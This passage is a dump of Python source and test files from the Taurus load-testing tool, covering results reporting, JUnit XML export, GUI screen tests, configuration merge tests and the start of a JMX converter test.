self.__report_percentiles(summary_kpi)\n\n if self.parameters.get(\"summary-labels\", True):\n self.__report_summary_labels(self.last_sec[DataPoint.CUMULATIVE])\n\n if self.parameters.get(\"failed-labels\"):\n self.__report_failed_labels(self.last_sec[DataPoint.CUMULATIVE])\n\n if self.parameters.get(\"dump-xml\"):\n self.__dump_xml(self.parameters.get(\"dump-xml\"))\n\n if self.parameters.get(\"dump-csv\"):\n self.__dump_csv(self.parameters.get(\"dump-csv\"))\n elif self.cumulative_results:\n self.__report_summary()\n\n report_mode = self.parameters.get(\"report-tests\", \"failed\")\n if report_mode == \"failed\":\n self.__report_failed_tests()\n else:\n self.__report_all_tests()\n\n def __plural(self, count, noun):\n return noun + 's' if count > 1 else noun\n\n def __report_all_tests(self):\n for test_suite in self.cumulative_results.test_suites():\n for case in self.cumulative_results.test_cases(test_suite):\n full_name = case.test_suite + \".\" + case.test_case\n self.log.info(\"Test %s - %s\", full_name, case.status)\n print_trace = self.parameters.get(\"print-stacktrace\", True)\n if print_trace and case.error_trace:\n self.log.info(\"Stacktrace:\\n%s\", case.error_trace)\n\n def __report_failed_tests(self):\n for test_suite in self.cumulative_results.test_suites():\n for case in self.cumulative_results.test_cases(test_suite):\n if case.status in (\"FAILED\", \"BROKEN\"):\n full_name = case.test_suite + \".\" + case.test_case\n msg = \"Test {test_case} failed: {error_msg}\".format(test_case=full_name, error_msg=case.error_msg)\n if case.error_trace:\n msg += \"\\n\" + case.error_trace\n self.log.warning(msg)\n\n def __report_summary(self):\n status_counter = Counter()\n for test_suite in self.cumulative_results.test_suites():\n for case in self.cumulative_results.test_cases(test_suite):\n status_counter[case.status] += 1\n\n # FIXME: it's actually not tests, but test cases\n total = sum(count for _, count in iteritems(status_counter))\n self.log.info(\"Total: %s %s\", total, self.__plural(total, 'test'))\n\n def __report_samples_count(self, summary_kpi_set):\n \"\"\"\n reports samples count\n \"\"\"\n if summary_kpi_set[KPISet.SAMPLE_COUNT]:\n err_rate = 100 * summary_kpi_set[KPISet.FAILURES] / float(summary_kpi_set[KPISet.SAMPLE_COUNT])\n self.log.info(\"Samples count: %s, %.2f%% failures\", summary_kpi_set[KPISet.SAMPLE_COUNT], err_rate)\n\n def __report_percentiles(self, summary_kpi_set):\n \"\"\"\n reports percentiles\n \"\"\"\n fmt = \"Average times: total %.3f, latency %.3f, connect %.3f\"\n self.log.info(fmt, summary_kpi_set[KPISet.AVG_RESP_TIME], summary_kpi_set[KPISet.AVG_LATENCY],\n summary_kpi_set[KPISet.AVG_CONN_TIME])\n\n data = [(\"Percentile, %\", \"Resp. Time, s\")]\n for key in sorted(summary_kpi_set[KPISet.PERCENTILES].keys(), key=float):\n data.append((float(key), summary_kpi_set[KPISet.PERCENTILES][key]))\n # self.log.info(\"Percentile %.1f%%: %.3f\", )\n table = SingleTable(data) if sys.stdout.isatty() else AsciiTable(data)\n table.justify_columns[0] = 'right'\n table.justify_columns[1] = 'right'\n self.log.info(\"Percentiles:\\n%s\", table.table)\n\n def __report_failed_labels(self, cumulative):\n \"\"\"\n reports failed labels\n \"\"\"\n report_template = \"%d failed samples: %s\"\n sorted_labels = sorted(cumulative.keys())\n for sample_label in sorted_labels:\n if sample_label != \"\":\n failed_samples_count = cumulative[sample_label]['fail']\n if failed_samples_count:\n self.log.info(report_template, failed_samples_count, sample_label)\n\n def __console_safe_encode(self, text):\n return text.encode(locale.getpreferredencoding(), errors='replace').decode('unicode_escape')\n\n def __get_sample_element(self, sample, label_name):\n failed_samples_count = sample['fail']\n success_samples_count = sample['succ']\n total_samples_count = failed_samples_count + success_samples_count\n success_samples_perc = (success_samples_count * 100) / total_samples_count\n\n errors = set()\n for err_desc in sample['errors']:\n errors.add(self.__console_safe_encode(err_desc[\"msg\"]))\n\n return (\n self.__console_safe_encode(label_name),\n \"FAIL\" if failed_samples_count > 0 else \"OK\",\n \"{0:.2f}%\".format(round(success_samples_perc, 2)),\n \"{0:.3f}\".format(round(sample['avg_rt'], 3)),\n \"\\n\".join(errors)\n )\n\n def __report_summary_labels(self, cumulative):\n data = [(\"label\", \"status\", \"succ\", \"avg_rt\", \"error\")]\n justify = {0: \"left\", 1: \"center\", 2: \"right\", 3: \"right\", 4: \"left\"}\n\n sorted_labels = sorted(cumulative.keys())\n for sample_label in sorted_labels:\n if sample_label != \"\":\n data.append(self.__get_sample_element(cumulative[sample_label], sample_label))\n table = SingleTable(data) if sys.stdout.isatty() else AsciiTable(data)\n table.justify_columns = justify\n self.log.info(\"Request label stats:\\n%s\", table.table)\n\n def __report_duration(self):\n \"\"\"\n asks executors start_time and end_time, provides time delta\n \"\"\"\n date_start = datetime.fromtimestamp(int(self.start_time))\n date_end = datetime.fromtimestamp(int(self.end_time))\n self.log.info(\"Test duration: %s\", date_end - date_start)\n\n def __dump_xml(self, filename):\n self.log.info(\"Dumping final status as XML: %s\", filename)\n root = etree.Element(\"FinalStatus\")\n\n if self.first_ts < float(\"inf\") and self.last_ts > 0:\n duration_elem = etree.Element(\"TestDuration\")\n duration_elem.text = str(round(float(self.last_ts - self.first_ts), 3))\n root.append(duration_elem)\n\n report_info = get_bza_report_info(self.engine, self.log)\n if report_info:\n link, _ = report_info[0]\n report_element = etree.Element(\"ReportURL\")\n report_element.text = link\n root.append(report_element)\n if self.last_sec:\n for label, kpiset in iteritems(self.last_sec[DataPoint.CUMULATIVE]):\n root.append(self.__get_xml_summary(label, kpiset))\n\n with open(get_full_path(filename), 'wb') as fhd:\n tree = etree.ElementTree(root)\n tree.write(fhd, pretty_print=True, encoding=\"UTF-8\", xml_declaration=True)\n\n def __get_xml_summary(self, label, kpiset):\n elem = etree.Element(\"Group\", label=label)\n for kpi_name, kpi_val in iteritems(kpiset):\n if kpi_name in (KPISet.ERRORS, KPISet.RESP_TIMES):\n continue\n\n if isinstance(kpi_val, dict):\n for param_name, param_val in iteritems(kpi_val):\n elem.append(self.__get_kpi_xml(kpi_name, param_val, param_name))\n else:\n elem.append(self.__get_kpi_xml(kpi_name, kpi_val))\n\n return elem\n\n def __get_kpi_xml(self, kpi_name, kpi_val, param=None):\n kpi = etree.Element(kpi_name)\n kpi.attrib['value'] = self.__val_to_str(kpi_val)\n elm_name = etree.Element(\"name\")\n elm_name.text = kpi_name\n if param is not None:\n kpi.attrib['param'] = self.__val_to_str(param)\n elm_name.text += \"/\" + param\n\n kpi.append(elm_name)\n\n elm_value = etree.Element(\"value\")\n elm_value.text = self.__val_to_str(kpi_val)\n kpi.append(elm_value)\n\n return kpi\n\n def __val_to_str(self, kpi_val):\n if isinstance(kpi_val, float):\n return '%.5f' % kpi_val\n elif isinstance(kpi_val, integer_types):\n return '%d' % kpi_val\n elif isinstance(kpi_val, string_types):\n return kpi_val\n else:\n raise TaurusInternalException(\"Unhandled kpi type: %s\" % type(kpi_val))\n\n def __dump_csv(self, filename):\n self.log.info(\"Dumping final status as CSV: %s\", filename)\n # FIXME: what if there's no last_sec\n with open(get_full_path(filename), 'wt') as fhd:\n fieldnames = self.__get_csv_dict('', self.last_sec[DataPoint.CUMULATIVE]['']).keys()\n writer = csv.DictWriter(fhd, fieldnames)\n writer.writeheader()\n for label, kpiset in iteritems(self.last_sec[DataPoint.CUMULATIVE]):\n writer.writerow(self.__get_csv_dict(label, kpiset))\n\n def __get_csv_dict(self, label, kpiset):\n kpi_copy = copy.deepcopy(kpiset)\n res = OrderedDict()\n res['label'] = label\n\n # sort label\n for key in sorted(kpi_copy.keys()):\n res[key] = kpi_copy[key]\n\n del res[KPISet.ERRORS]\n del res[KPISet.RESP_TIMES]\n del res[KPISet.RESP_CODES]\n del res[KPISet.PERCENTILES]\n\n percentiles = list(iteritems(kpiset[KPISet.PERCENTILES]))\n for level, val in sorted(percentiles, key=lambda lv: (float(lv[0]), lv[1])):\n res['perc_%s' % level] = val\n\n resp_codes = list(iteritems(kpiset[KPISet.RESP_CODES]))\n for rcd, val in sorted(resp_codes):\n res['rc_%s' % rcd] = val\n\n for key in res:\n if isinstance(res[key], float):\n res[key] = \"%.5f\" % res[key]\n\n return res\n\n\nclass JUnitXMLReporter(Reporter, AggregatorListener, FunctionalAggregatorListener):\n \"\"\"\n A reporter that exports results in Jenkins JUnit XML format.\n \"\"\"\n\n def __init__(self):\n super(JUnitXMLReporter, self).__init__()\n self.last_second = None\n self.report_file_path = None\n self.cumulative_results = None\n\n def prepare(self):\n if isinstance(self.engine.aggregator, ResultsProvider):\n self.engine.aggregator.add_listener(self)\n elif isinstance(self.engine.aggregator, FunctionalAggregator):\n self.engine.aggregator.add_listener(self)\n\n def aggregated_second(self, data):\n self.last_second = data\n\n def aggregated_results(self, _, cumulative_results):\n \"\"\"\n :type cumulative_results: bzt.modules.functional.ResultsTree\n \"\"\"\n self.cumulative_results = cumulative_results\n\n def post_process(self):\n \"\"\"\n Get report data, generate xml report.\n \"\"\"\n filename = self.parameters.get(\"filename\", None)\n if not filename:\n filename = self.engine.create_artifact(XUnitFileWriter.REPORT_FILE_NAME, XUnitFileWriter.REPORT_FILE_EXT)\n self.parameters[\"filename\"] = filename # reflect it in effective config\n\n if self.cumulative_results is None:\n test_data_source = self.parameters.get(\"data-source\", \"sample-labels\")\n\n if test_data_source == \"sample-labels\":\n if not self.last_second:\n self.log.warning(\"No last second data to generate XUnit.xml\")\n else:\n writer = XUnitFileWriter(self.engine)\n self.process_sample_labels(writer)\n writer.save_report(filename)\n elif test_data_source == \"pass-fail\":\n writer = XUnitFileWriter(self.engine)\n self.process_pass_fail(writer)\n writer.save_report(filename)\n else:\n raise TaurusConfigError(\"Unsupported data source: %s\" % test_data_source)\n else:\n writer = XUnitFileWriter(self.engine)\n self.process_functional(writer)\n writer.save_report(filename)\n\n self.report_file_path = filename # TODO: just for backward compatibility, remove later\n\n def process_sample_labels(self, xunit):\n \"\"\"\n :type xunit: XUnitFileWriter\n \"\"\"\n xunit.report_test_suite('sample_labels')\n labels = self.last_second[DataPoint.CUMULATIVE]\n\n for key in sorted(labels.keys()):\n if key == \"\": # skip total label\n continue\n\n errors = []\n for er_dict in labels[key][KPISet.ERRORS]:\n rc = str(er_dict[\"rc\"])\n msg = str(er_dict[\"msg\"])\n cnt = str(er_dict[\"cnt\"])\n if er_dict[\"type\"] == KPISet.ERRTYPE_ASSERT:\n err_element = etree.Element(\"failure\", message=msg, type=\"Assertion Failure\")\n else:\n err_element = etree.Element(\"error\", message=msg, type=\"Error\")\n err_desc = \"%s\\n(status code is %s)\\n(total errors of this type: %s)\" % (msg, rc, cnt)\n err_element.text = err_desc\n errors.append(err_element)\n\n xunit.report_test_case('sample_labels', key, errors)\n\n def process_pass_fail(self, xunit):\n \"\"\"\n :type xunit: XUnitFileWriter\n \"\"\"\n xunit.report_test_suite('bzt_pass_fail')\n mods = self.engine.reporters + self.engine.services # TODO: remove it after passfail is only reporter\n pass_fail_objects = [_x for _x in mods if isinstance(_x, PassFailStatus)]\n self.log.debug(\"Processing passfail objects: %s\", pass_fail_objects)\n fail_criteria = []\n for pf_obj in pass_fail_objects:\n if pf_obj.criteria:\n for _fc in pf_obj.criteria:\n fail_criteria.append(_fc)\n\n for fc_obj in fail_criteria:\n if 'label' in fc_obj.config:\n data = (fc_obj.config['subject'], fc_obj.config['label'], fc_obj.config['condition'],\n fc_obj.config['threshold'])\n tpl = \"%s of %s%s%s\"\n else:\n data = (fc_obj.config['subject'], fc_obj.config['condition'], fc_obj.config['threshold'])\n tpl = \"%s%s%s\"\n if fc_obj.config['timeframe']:\n tpl += \" for %s\"\n data += (fc_obj.config['timeframe'],)\n disp_name = tpl % data\n\n if fc_obj.is_triggered and fc_obj.fail:\n errors = [etree.Element(\"error\", message=str(fc_obj), type=\"pass/fail criteria triggered\")]\n else:\n errors = ()\n\n xunit.report_test_case('bzt_pass_fail', disp_name, errors)\n\n def process_functional(self, xunit):\n for suite_name, samples in iteritems(self.cumulative_results):\n duration = max(s.start_time for s in samples) - min(s.start_time for s in samples)\n duration += max(samples, key=lambda s: s.start_time).duration\n attrs = {\n \"name\": suite_name,\n \"tests\": str(len(samples)),\n \"errors\": str(len([sample for sample in samples if sample.status == \"BROKEN\"])),\n \"skipped\": str(len([sample for sample in samples if sample.status == \"SKIPPED\"])),\n \"failures\": str(len([sample for sample in samples if sample.status == \"FAILED\"])),\n \"time\": str(round(duration, 3)),\n # TODO: \"timestamp\" attribute\n }\n xunit.add_test_suite(suite_name, attributes=attrs)\n for sample in samples:\n attrs = {\n \"classname\": sample.test_suite,\n \"name\": sample.test_case,\n \"time\": str(round(sample.duration, 3))\n }\n children = []\n if sample.status == \"BROKEN\":\n error = etree.Element(\"error\", type=sample.error_msg)\n if sample.error_trace:\n error.text = sample.error_trace\n children.append(error)\n elif sample.status == \"FAILED\":\n failure = etree.Element(\"failure\", message=sample.error_msg)\n if sample.error_trace:\n failure.text = sample.error_trace\n children.append(failure)\n elif sample.status == \"SKIPPED\":\n skipped = etree.Element(\"skipped\")\n children.append(skipped)\n xunit.add_test_case(suite_name, attributes=attrs, children=children)\n\n\ndef get_bza_report_info(engine, log):\n \"\"\"\n :return: [(url, test), (url, test), ...]\n \"\"\"\n result = []\n if isinstance(engine.provisioning, CloudProvisioning):\n cloud_prov = engine.provisioning\n test_name = cloud_prov.settings.get(\"test\")\n report_url = cloud_prov.results_url\n result.append((report_url, test_name if test_name else report_url))\n else:\n bza_reporters = [_x for _x in engine.reporters if isinstance(_x, BlazeMeterUploader)]\n for bza_reporter in bza_reporters:\n if bza_reporter.results_url:\n test_name = bza_reporter.parameters.get(\"test\")\n report_url = bza_reporter.results_url\n result.append((report_url, test_name if test_name else report_url))\n\n if len(result) > 1:\n log.warning(\"More than one blazemeter reporter found\")\n return result\n\n\nclass XUnitFileWriter(object):\n REPORT_FILE_NAME = \"xunit\"\n REPORT_FILE_EXT = \".xml\"\n\n def __init__(self, engine):\n \"\"\"\n :type engine: bzt.engine.Engine\n \"\"\"\n super(XUnitFileWriter, self).__init__()\n self.engine = engine\n self.log = engine.log.getChild(self.__class__.__name__)\n self.test_suites = OrderedDict()\n bza_report_info = get_bza_report_info(engine, self.log)\n self.class_name = bza_report_info[0][1] if bza_report_info else \"bzt-\" + str(self.__hash__())\n self.report_urls = [\"BlazeMeter report link: %s\\n\" % info_item[0] for info_item in bza_report_info]\n\n def save_report(self, fname):\n \"\"\"\n :type fname: str\n \"\"\"\n try:\n if os.path.exists(fname):\n self.log.warning(\"File %s already exists, it will be overwritten\", fname)\n else:\n dirname = os.path.dirname(fname)\n if dirname and not os.path.exists(dirname):\n os.makedirs(dirname)\n\n testsuites = etree.Element(\"testsuites\")\n for _, suite in iteritems(self.test_suites):\n testsuites.append(suite)\n etree_obj = etree.ElementTree(testsuites)\n\n self.log.info(\"Writing JUnit XML report into: %s\", fname)\n with open(get_full_path(fname), 'wb') as _fds:\n etree_obj.write(_fds, xml_declaration=True, encoding=\"UTF-8\", pretty_print=True)\n except BaseException:\n raise TaurusInternalException(\"Cannot create file %s\" % fname)\n\n def report_test_suite(self, suite_name):\n \"\"\"\n :type suite_name: str\n :type children: list[bzt.six.etree.Element]\n \"\"\"\n self.add_test_suite(suite_name, attributes={\"name\": suite_name, \"package_name\": \"bzt\"})\n\n def report_test_case(self, suite_name, case_name, children=None):\n \"\"\"\n :type suite_name: str\n :type case_name: str\n :type children: list[bzt.six.etree.Element]\n \"\"\"\n children = children or []\n if self.report_urls:\n system_out = etree.Element(\"system-out\")\n system_out.text = \"\".join(self.report_urls)\n children.insert(0, system_out)\n self.add_test_case(suite_name, attributes={\"classname\": self.class_name, \"name\": case_name}, children=children)\n\n def add_test_suite(self, suite_name, attributes=None, children=()):\n attributes = attributes or {}\n\n suite = etree.Element(\"testsuite\", **attributes)\n\n for child in children:\n suite.append(child)\n\n if not suite_name in self.test_suites:\n self.test_suites[suite_name] = suite\n\n def add_test_case(self, suite_name, attributes=None, children=()):\n attributes = attributes or {}\n\n case = etree.Element(\"testcase\", **attributes)\n\n for child in children:\n case.append(child)\n\n self.test_suites[suite_name].append(case)\n", "id": "518102", "language": "Python", "matching_score": 2.762134552001953, "max_stars_count": 0, "path": "bzt/modules/reporting.py" }, { "content": "import time\nfrom unittest import TestCase, skipIf\n\nfrom urwid.canvas import Canvas\n\nfrom bzt.engine import ManualShutdown\nfrom bzt.modules.console import TaurusConsole\nfrom bzt.utils import DummyScreen\n\ntry:\n from bzt.modules.screen import GUIScreen as Screen\nexcept:\n Screen = DummyScreen\n\n\nclass TestCanvas(Canvas):\n def __init__(self, value):\n super(TestCanvas, self).__init__()\n self.value = value\n\n def content(self, trim_left=0, trim_top=0, cols=None, rows=None, attr=None):\n for val in self.value:\n yield val\n\n def rows(self):\n pass\n\n def content_delta(self):\n pass\n\n def cols(self):\n pass\n\n\nclass TestGUIScreen(TestCase):\n def test_draw_screen(self):\n lines = [((x[0], None, \"%s\\n\" % x[0]),) for x in TaurusConsole.palette]\n canvas = TestCanvas(lines)\n\n obj = Screen()\n \"\"\"\n :type: bzt.modules.screen.GUIScreen\n \"\"\"\n obj.register_palette(TaurusConsole.palette)\n\n obj.start()\n for _ in range(1, 10):\n obj.draw_screen((1, 1), canvas)\n time.sleep(0.5)\n\n if hasattr(obj, 'font'):\n old_font_size = obj.font['size']\n obj.root.event_generate(\"<Control-4>\")\n obj.root.event_generate(\"<Control-MouseWheel>\", delta=120)\n if old_font_size > 0:\n self.assertGreater(obj.font['size'], old_font_size)\n else:\n self.assertLess(obj.font['size'], old_font_size)\n obj.root.event_generate(\"<Control-5>\")\n obj.root.event_generate(\"<Control-MouseWheel>\", delta=-120)\n\n self.assertEqual(obj.font['size'], old_font_size)\n\n obj.stop()\n\n @skipIf(Screen is DummyScreen, \"skip test if GUI window isn't available\")\n def test_window_closed(self):\n lines = [((x[0], None, \"%s\\n\" % x[0]),) for x in TaurusConsole.palette]\n canvas = TestCanvas(lines)\n obj = Screen()\n obj.register_palette(TaurusConsole.palette)\n obj.start()\n for _ in range(5):\n obj.draw_screen((1, 1), canvas)\n time.sleep(0.1)\n # closing the window\n obj.closed_window()\n # first call to draw_screen should raise ManualShutdown\n self.assertRaises(ManualShutdown, obj.draw_screen, (1, 1), canvas)\n # consecutive calls to draw_screen shouldn't raise\n obj.draw_screen((1, 1), canvas)\n obj.draw_screen((1, 1), canvas)\n", "id": "7921694", "language": "Python", "matching_score": 1.5863847732543945, "max_stars_count": 1, "path": "tests/modules/test_GUIScreen.py" }, { "content": "# coding=utf-8\nimport json\nimport tempfile\n\nfrom bzt import six\nfrom bzt.engine import Configuration\nfrom bzt.utils import BetterDict, dehumanize_time\nfrom tests import BZTestCase, RESOURCES_DIR, BASE_CONFIG, ROOT_LOGGER\nfrom tests.mocks import EngineEmul\n\n\nclass TestConfiguration(BZTestCase):\n def test_load(self):\n obj = Configuration()\n configs = [\n BASE_CONFIG,\n RESOURCES_DIR + \"json/jmx.json\",\n RESOURCES_DIR + \"json/concurrency.json\"\n ]\n obj.load(configs)\n ROOT_LOGGER.debug(\"config:\\n%s\", obj)\n\n fname = tempfile.mkstemp()[1]\n obj.dump(fname, Configuration.JSON)\n with open(fname) as fh:\n ROOT_LOGGER.debug(\"JSON:\\n%s\", fh.read())\n\n fname = tempfile.mkstemp()[1]\n obj.dump(fname, Configuration.YAML)\n with open(fname) as fh:\n ROOT_LOGGER.debug(\"YAML:\\n%s\", fh.read())\n\n def test_merge(self):\n obj = Configuration()\n configs = [\n RESOURCES_DIR + \"yaml/test.yml\",\n RESOURCES_DIR + \"json/merge1.json\",\n RESOURCES_DIR + \"json/merge2.json\",\n ]\n obj.load(configs)\n fname = tempfile.mkstemp()[1]\n obj.dump(fname, Configuration.JSON)\n with open(fname) as fh:\n ROOT_LOGGER.debug(\"JSON:\\n%s\", fh.read())\n jmeter = obj['modules']['jmeter']\n classval = jmeter['class']\n self.assertEquals(\"bzt.modules.jmeter.JMeterExecutor\", classval)\n self.assertEquals(\"value\", obj['key'])\n self.assertEquals(6, len(obj[\"list-append\"]))\n self.assertEquals(2, len(obj[\"list-replace\"]))\n self.assertEquals(2, len(obj[\"list-replace-notexistent\"]))\n self.assertIsInstance(obj[\"list-complex\"][1][0], BetterDict)\n self.assertIsInstance(obj[\"list-complex\"][1][0], BetterDict)\n self.assertIsInstance(obj[\"list-complex\"][1][0], BetterDict)\n self.assertFalse(\"properties\" in jmeter)\n\n fname = tempfile.mkstemp()[1]\n obj.dump(fname, Configuration.JSON)\n checker = Configuration()\n checker.load([fname])\n token = checker[\"list-complex\"][1][0]['token']\n self.assertNotEquals('test', token)\n token_orig = obj[\"list-complex\"][1][0]['token']\n self.assertEquals('test', token_orig)\n\n def test_unicode(self):\n obj = Configuration()\n expected = six.u(\"Юникод\")\n obj.merge({\n \"ustr\": expected,\n })\n ustr = obj.get(\"ustr\", \"nope\")\n self.assertEqual(ustr, expected)\n\n def test_save(self):\n obj = Configuration()\n obj.merge({\n \"str\": \"text\",\n \"uc\": six.u(\"ucstring\")\n })\n fname = tempfile.mkstemp()[1]\n obj.dump(fname, Configuration.YAML)\n with open(fname) as fh:\n written = fh.read()\n ROOT_LOGGER.debug(\"YAML:\\n%s\", written)\n self.assertNotIn(\"unicode\", written)\n\n def test_masq_sensitive(self):\n obj = Configuration()\n obj.merge({\n \"token\": \"my-precious\",\n \"my_password\": \"<PASSWORD>\",\n \"secret\": \"secret\",\n \"secret_story\": \"story\",\n })\n BetterDict.traverse(obj, Configuration.masq_sensitive)\n self.assertEquals(obj[\"token\"], \"*\" * 8)\n self.assertEquals(obj[\"my_password\"], \"*\" * 8)\n self.assertEquals(obj[\"secret\"], \"*\" * 8)\n self.assertEquals(obj[\"secret_story\"], \"story\")\n\n def test_filtering(self):\n obj = Configuration()\n obj.merge({\n \"drop\": \"me\",\n \"also-drop\": {\"this\": \"drop\"},\n \"and-also-drop\": [\"thelist\"],\n \"but-keep\": \"value\",\n \"and-also-keep\": {\n \"nested\": \"value\",\n \"while-dropping\": \"some\"\n },\n \"filter-subitems\": {\n \"keep\": \"value\",\n \"drop\": \"some\"\n }\n\n })\n rules = {\n \"but-keep\": True,\n \"and-also-keep\": {\"nested\": True},\n \"!filter-subitems\": {\"drop\": True},\n }\n obj.filter(rules)\n\n expected = {\n \"but-keep\": \"value\",\n \"and-also-keep\": {\"nested\": \"value\"},\n \"filter-subitems\": {\"keep\": \"value\"},\n }\n self.assertEquals(expected, obj)\n\n def test_tabs(self):\n obj = Configuration()\n obj.tab_replacement_spaces = 4\n obj.load([RESOURCES_DIR + \"yaml/tabs-issue.yml\"])\n fname = tempfile.mkstemp()[1]\n obj.dump(fname, Configuration.YAML)\n self.assertFilesEqual(RESOURCES_DIR + \"yaml/tabs-issue-spaces.yml\", fname)\n\n def test_merge_removal(self):\n obj = Configuration()\n obj.merge({\n \"foo\": \"bar\",\n })\n obj.merge({\n \"^foo\": \"baz\",\n })\n self.assertNotIn(\"foo\", obj)\n\n def test_merge_overwrite(self):\n obj = Configuration()\n obj.merge({\n \"foo\": {\"bar\": \"baz\"},\n })\n obj.merge({\n \"~foo\": \"baz\",\n })\n self.assertEqual(obj[\"foo\"], \"baz\")\n\n def test_elementwise_merge(self):\n obj = Configuration()\n obj.merge({\n \"execution\": [{\n \"executor\": \"jmeter\",\n \"iterations\": 10,\n }],\n })\n obj.merge({\n \"$execution\": [{\"iterations\": 20}],\n })\n self.assertEqual(obj[\"execution\"][0][\"iterations\"], 20)\n\n def test_elementwise_merge_do_not_erase(self):\n obj = Configuration()\n obj.merge({\n \"execution\": [{\n \"executor\": \"jmeter\",\n \"iterations\": 10,\n }, {\n \"executor\": \"selenium\",\n \"iterations\": 30,\n }],\n })\n obj.merge({\n \"$execution\": [{\"iterations\": 20}],\n })\n self.assertEqual(obj[\"execution\"][0][\"iterations\"], 20)\n self.assertEqual(obj[\"execution\"][1][\"iterations\"], 30)\n\n def test_elementwise_merge_right_is_bigger(self):\n obj = Configuration()\n obj.merge({\n \"execution\": [{\n \"executor\": \"jmeter\",\n \"iterations\": 10,\n }],\n })\n obj.merge({\n \"$execution\": [{\"iterations\": 20}, {\"iterations\": 30}],\n })\n self.assertEqual(obj[\"execution\"][0][\"iterations\"], 20)\n self.assertEqual(obj[\"execution\"][1][\"iterations\"], 30)\n\n def test_encode_decode_infinities(self):\n engine = EngineEmul()\n obj = Configuration()\n obj.merge({\n \"foo\": float(\"inf\"),\n })\n cfg = engine.create_artifact(\"config\", \".json\")\n obj.dump(cfg, Configuration.JSON)\n with open(cfg) as fds:\n dump = json.loads(fds.read())\n self.assertEqual(dump[\"foo\"], \"inf\")\n self.assertEqual(dehumanize_time(dump[\"foo\"]), float(\"inf\"))\n\n def test_overwrite_execution_locations(self):\n obj = Configuration()\n obj.merge({\n \"execution\": [{\"locations\": {\"us-central1-a\": 1}}],\n })\n obj.merge({\n \"$execution\": [{\"~locations\": {\"harbor-1\": 1}}],\n })\n ROOT_LOGGER.info(obj)\n self.assertEqual(obj, {\"execution\": [{\"locations\": {\"harbor-1\": 1}}]})\n", "id": "1241288", "language": "Python", "matching_score": 3.0391764640808105, "max_stars_count": 0, "path": "tests/test_configuration.py" }, { "content": "# coding=utf-8\nimport os\nimport sys\nimport yaml\nimport tempfile\n\nfrom bzt.engine import ScenarioExecutor, Configuration\nfrom bzt.jmx2yaml import JMX2YAML\nfrom bzt.utils import get_full_path, FileReader\n\nfrom tests import BZTestCase, RESOURCES_DIR\n\n\nclass FakeOptions(object):\n def __init__(self, verbose=True, file_name=None, dump_jmx=None, quiet=False, json=False, log=False):\n self.verbose = verbose\n self.file_name = file_name\n self.dump_jmx = dump_jmx\n self.quiet = quiet\n self.json = json\n self.log = log\n\n\nclass TestConverter(BZTestCase):\n def setUp(self):\n super(TestConverter, self).setUp()\n self.obj = JMX2YAML(file_name=None, options=FakeOptions())\n\n def configure(self, src_file, dst_file=None, dump_jmx=None):\n self.obj.src_file = src_file\n self.obj.options = FakeOptions(file_name=dst_file, dump_jmx=dump_jmx)\n\n def tearDown(self):\n if self.obj.dst_file and os.path.isfile(self.obj.dst_file):\n os.remove(self.obj.dst_file)\n super(TestConverter, self).tearDown()\n\n def same_yaml(self, file1, file2=None):\n if file2 is None:\n file2 = self.obj.dst_file\n\n if not file1.startswith(\"/\"):\n file1 = RESOURCES_DIR + \"yaml/converter/\" + file1\n\n yml1 = yaml.load(open(file1).read())\n yml2 = yaml.load(open(file2).read())\n return yml1 == yml2\n\n def test_objprop(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/http.jmx\")\n self.sniff_log(self.obj.log)\n self.obj.process()\n self.assertNotIn(\"Removing unknown element: name (None)\", self.log_recorder.warn_buff.getvalue())\n self.assertNotIn(\"Removing unknown element: value (None)\", self.log_recorder.warn_buff.getvalue())\n\n def test_loadjmx1(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/http.jmx\")\n self.sniff_log(self.obj.log)\n self.obj.process()\n self.assertIn(\"Loading jmx file\", self.log_recorder.info_buff.getvalue())\n self.assertNotEqual(\"\", self.log_recorder.debug_buff.getvalue())\n self.assertEqual(\"\", self.log_recorder.err_buff.getvalue())\n\n def test_loadjmx2(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/notfound.jmx\")\n self.sniff_log(self.obj.log)\n try:\n self.obj.process()\n self.fail()\n except BaseException as exc:\n self.assertIn(\"File does not exist\", exc.args[0])\n self.assertIn(\"Loading jmx file\", self.log_recorder.info_buff.getvalue())\n self.assertEqual(\"\", self.log_recorder.debug_buff.getvalue())\n\n def test_loadjmx3(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/broken.jmx\")\n self.sniff_log(self.obj.log)\n try:\n self.obj.process()\n self.fail()\n except BaseException as exc:\n self.assertIn(\"XML parsing failed\", exc.args[0])\n self.assertIn(\"Loading jmx file\", self.log_recorder.info_buff.getvalue())\n self.assertIn(\"Error while processing jmx file\", self.log_recorder.err_buff.getvalue())\n\n def test_loadjmx4(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/http.jmx\")\n self.sniff_log(self.obj.log)\n self.obj.process()\n self.assertIn(\"Loading jmx file\", self.log_recorder.info_buff.getvalue())\n self.assertIn(\"Done processing, result saved in\", self.log_recorder.info_buff.getvalue())\n self.assertIn(\"Removing unknown element\", self.log_recorder.warn_buff.getvalue())\n\n def test_export_clean_jmx(self):\n fd, tmp_jmx_name = tempfile.mkstemp()\n os.close(fd)\n open(tmp_jmx_name, 'w+').close() # touch file\n\n self.configure(RESOURCES_DIR + \"yaml/converter/disabled.jmx\", dump_jmx=tmp_jmx_name)\n self.sniff_log(self.obj.log)\n self.obj.process()\n self.assertIn(\"Loading jmx file\", self.log_recorder.info_buff.getvalue())\n self.assertIn(\"already exists and will be overwritten\", self.log_recorder.warn_buff.getvalue())\n\n def test_not_jmx(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/not-jmx.xml\")\n try:\n self.obj.process()\n self.fail()\n except BaseException as exc:\n self.assertIn(\"Bad jmx format\", exc.args[0])\n\n def test_clean_disabled_jmx(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/disabled.jmx\")\n self.obj.process()\n disabled_elements = [element for element in self.obj.converter.dialect.tree.iter() if\n element.get(\"enabled\") == \"false\"]\n self.assertEquals(0, len(disabled_elements))\n\n def test_copy_global_csv_dataset(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/global_copy.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n\n tg1_datasets = yml.get(\"scenarios\").get(\"Thread Group one\").get(\"data-sources\")\n tg2_datasets = yml.get(\"scenarios\").get(\"Thread Group two\").get(\"data-sources\")\n\n tg1_files = [ds.get(\"path\") for ds in tg1_datasets]\n tg2_files = [ds.get(\"path\") for 